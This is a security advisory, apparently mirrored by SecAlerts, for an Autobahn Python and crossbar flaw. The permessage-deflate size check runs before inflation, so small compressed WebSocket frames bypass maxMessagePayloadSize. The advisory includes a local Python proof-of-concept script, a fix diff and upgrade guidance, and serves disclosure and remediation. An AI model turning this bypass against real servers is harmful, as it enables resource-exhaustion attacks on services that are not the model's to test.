GHSA-hxp9-w8x3-p566: Medium severity pip/crossbar vulnerability

Published Sep 22, 2026
·
Updated

Summary Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves maxmessagesize at its default None in src/autobahn/websocket/compressdeflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compressdeflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments messagedatatotallength by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because maxmessagesize is None, src/autobahn/websocket/compressdeflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction py import sys import types import zlib

if len(sys.argv) != 2: raise SystemExit("usage: autobahndeflatelimitpoc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]

class Log: def debug(self, args, kwargs): pass

def warn(self, args, kwargs): pass

def error(self, args, kwargs): pass

class Timer: def calllater(self, args, kwargs): return self

def cancel(self): pass

txaio = types.ModuleType("txaio") txaio.makelogger = lambda: Log() txaio.createfuture = lambda result=None: result txaio.resolve = lambda future, value=None: None txaio.reject = lambda future, error=None: None txaio.addcallbacks = ( lambda future, callback=None, errback=None: callback(future) if callback else None ) txaio.asfuture = lambda fn, args, kwargs: fn(args, kwargs) txaio.failureformattraceback = lambda err: str(err) txaio.calllater = lambda args, kwargs: Timer() txaio.makebatchedtimer = lambda args, kwargs: Timer() txaio.timens = lambda: 0 txaio.useasyncio = lambda: None txaio.usetwisted = lambda: None sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")

class URL: @classmethod def fromtext(cls, text): return cls(text)

def init(self, text): self.text = text

def touri(self): return self

def normalize(self): return self

def totext(self): return self.text

hyperlink.URL = URL sys.modules["hyperlink"] = hyperlink

wamptypes = types.ModuleType("autobahn.wamp.types")

class TransportDetails: pass

wamptypes.TransportDetails = TransportDetails sys.modules["autobahn.wamp.types"] = wamptypes

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compressdeflate import PerMessageDeflate from autobahn.websocket.protocol import WebSocketProtocol

class Factory: isServer = True requireMaskedClientFrames = True maskServerFrames = False utf8validateIncoming = True applyMask = True maxFramePayloadSize = 128 maxMessagePayloadSize = 128 autoFragmentSize = 0 failByDrop = True echoCloseCodeReason = False openHandshakeTimeout = 5 closeHandshakeTimeout = 1 tcpNoDelay = True autoPingInterval = 0 autoPingTimeout = 0 autoPingSize = 12 autoPingRestartOnAnyTraffic = True logOctets = False logFrames = False trackTimings = False versions = WebSocketProtocol.SUPPORTEDPROTOCOLVERSIONS webStatus = False perMessageCompressionAccept = staticmethod(lambda offer: None) serveFlashSocketPolicy = False flashSocketPolicy = "" allowedOrigins = [""] allowedOriginsPatterns = [] allowNullOrigin = True maxConnections = 0 trustXForwardedFor = 0 batchedtimer = Timer()

class CapturingProtocol(WebSocketProtocol): CONFIGATTRS = WebSocketProtocol.CONFIGATTRSCOMMON + WebSocketProtocol.CONFIGATTRSSERVER

def init(self): super().init() self.delivered = None

def onMessageBegin(self, isBinary): self.onMessageBegin(isBinary)

def onMessageFrameBegin(self, length): self.onMessageFrameBegin(length)

def onMessageFrameData(self, payload): self.onMessageFrameData(payload)

def onMessageFrameEnd(self): self.onMessageFrameEnd()

def onMessageFrame(self, payload): self.onMessageFrame(payload)

def onMessageEnd(self): self.onMessageEnd()

def onMessage(self, payload, isBinary): self.delivered = payload

def sendData(self, data, sync=False, chopsize=None): pass

def dropConnection(self, abort=True): self.droppedByMe = True self.state = WebSocketProtocol.STATECLOSED

def maskedcompressedtextframe(payload): compressor = zlib.compressobj(zlib.ZDEFAULTCOMPRESSION, zlib.DEFLATED, -15) compressed = compressor.compress(payload) + compressor.flush(zlib.ZSYNCFLUSH) compressed = compressed[:-4] mask = b"\x11\x22\x33\x44" masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed)) if len(compressed) <= 125: header = bytes([0xC1, 0x80 | len(compressed)]) elif len(compressed) <= 65535: header = bytes([0xC1, 0x80 | 126]) + len(compressed).tobytes(2, "big") else: raise RuntimeError("compressed fixture too large") return header + mask + masked, len(compressed)

limit = 128 inflated = b"X" 4096 frame, compressedlen = maskedcompressedtextframe(inflated) if compressedlen >= limit: raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol() proto.factory = Factory() proto.log = Log() proto.connectionMade() proto.perMessageCompress = PerMessageDeflate( isserver=True, servernocontexttakeover=False, clientnocontexttakeover=False, servermaxwindowbits=15, clientmaxwindowbits=15, memlevel=8, maxmessagesize=None, ) proto.state = WebSocketProtocol.STATEOPEN proto.insidemessage = False proto.currentframe = None proto.websocketversion = 13

proto.dataReceived(frame)

deliveredlen = len(proto.delivered or b"") if deliveredlen > limit and not proto.wasMaxMessagePayloadSizeExceeded: print( "AUTOBAHNDEFLATELIMITBYPASS " f"deliveredlength={deliveredlen} configuredlimit={limit} " f"compressedlength={compressedlen}" ) raise SystemExit(0)

print( "guarded " f"deliveredlength={deliveredlen} configuredlimit={limit} " f"compressedlength={compressedlen} " f"maxexceeded={proto.wasMaxMessagePayloadSizeExceeded}" ) raise SystemExit(1)

Impact A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level maxmessagesize cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix 001-fix.diff diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py index 3c060804..4514e3cb 100644 --- a/src/autobahn/websocket/protocol.py +++ b/src/autobahn/websocket/protocol.py @@ -1869,6 +1869,17 @@ class WebSocketProtocol: if self.state == WebSocketProtocol.STATEOPEN: self.trafficStats.incomingOctetsWebSocketLevel += compressedLen self.trafficStats.incomingOctetsAppLevel += uncompressedLen + + if self.isMessageCompressed: + self.messagedatatotallength += uncompressedLen - compressedLen + if 0 < self.maxMessagePayloadSize < self.messagedatatotallength: + self.wasMaxMessagePayloadSizeExceeded = True + self.maxmessagesizeexceeded( + self.messagedatatotallength, + self.maxMessagePayloadSize, + f"received WebSocket message size {self.messagedatatotallength} exceeds payload limit of {self.maxMessagePayloadSize} octets", + ) + return False # incrementally validate UTF-8 payload #

Reported by Team Atlanta.

Affected Software

2 affected componentsFixes available
pip/crossbar<26.7.1
26.7.1
pip/autobahn<26.7.1
26.7.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/crossbar to a version that resolves this vulnerability.

    Fixed in 26.7.1
  2. Upgrade

    Upgrade pip/autobahn to a version that resolves this vulnerability.

    Fixed in 26.7.1

Event History

Sep 22, 2026
Advisory Published
via GitHub·08:37 PM
Data Sourced
via GitHub·08:37 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Autobahn Python WebSocket servers that accept permessage-deflate client offers are exposed. The common PerMessageDeflateOfferAccept(offer) path leaves the decompressor maximum message size unset by default.

2

What does an attacker need to exploit this?

An unauthenticated remote client needs to establish a WebSocket connection where permessage-deflate is negotiated, then send an RSV1-marked compressed data frame. The compressed frame can satisfy the configured payload limit while inflating to a much larger message before it reaches application callbacks.

3

Are configured maxMessagePayloadSize limits sufficient protection?

No. The limit is checked against the compressed frame length before inflation, and no second size check is performed on the inflated message delivered to onMessage. For example, a 22-byte compressed frame can produce a 4096-byte message despite a 128-byte configured limit.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203